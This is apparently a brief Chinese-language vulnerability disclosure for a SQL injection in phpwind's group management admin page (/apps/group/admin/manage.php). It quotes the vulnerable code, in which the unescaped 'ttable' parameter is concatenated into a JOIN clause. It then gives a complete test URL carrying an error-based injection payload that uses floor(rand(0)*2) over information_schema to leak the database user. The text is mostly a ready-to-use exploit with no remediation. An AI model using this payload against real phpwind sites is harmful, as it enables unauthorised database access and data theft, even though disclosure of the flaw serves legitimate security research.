phpwind注入一枚

/apps/group/admin/manage.php   line  219

 

S::gp(array('ttable', 'ptable', 'page','cid','author','ckauthor','keyword','ktype','ttype','ckkeyword','postdate_s','postdate_e','orderby','sc','perpage','cname')); //ttable
    .....
    if ($ttype == '1') {
      $sqltab = 'pw_threads t';
      $pw_tmsgs = 'pw_tmsgs' . $ttable; //!
      $tpre = 'tm';
      $addpage .= "ttable=$ttable&";
    } else {
      $sqltab = GetPtable($ptable) . ' t';
      $addpage .= "ttype=2&ptable=$ptable&";
    }
          ......
    if ($keyword) {
      $addpage .= "keyword=$keyword&ktype=$ktype&ckkeyword=$ckkeyword&";
      if ($ckkeyword) {
        $k_sql = " = " . S::sqlEscape($keyword);
      } else {
        $k_sql = " LIKE " . S::sqlEscape('%'.$keyword.'%');
      }
      if ($ktype == 'subject') {
        $sql .= " AND t.subject" . $k_sql;
      } else {
        $ttype == '1' && $sqltab .= " LEFT JOIN $pw_tmsgs tm ON t.tid=tm.tid"; //$pw_tmsgs
        $sql .= " AND {$tpre}.content" . $k_sql;
      }
    }

　　

 

Test:

/admin.php?adminjob=apps&admintype=groups_manage&action=argument&keyword=1&ttable=/**/tm ON t.tid=tm.tid LEFT JOIN pw_argument a ON t.tid=a.tid LEFT JOIN pw_colonys c ON a.cyid=c.id WHERE (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),CONCAT(0x3a,(SELECT USER())))a from information_schema.tables group by a)b)%23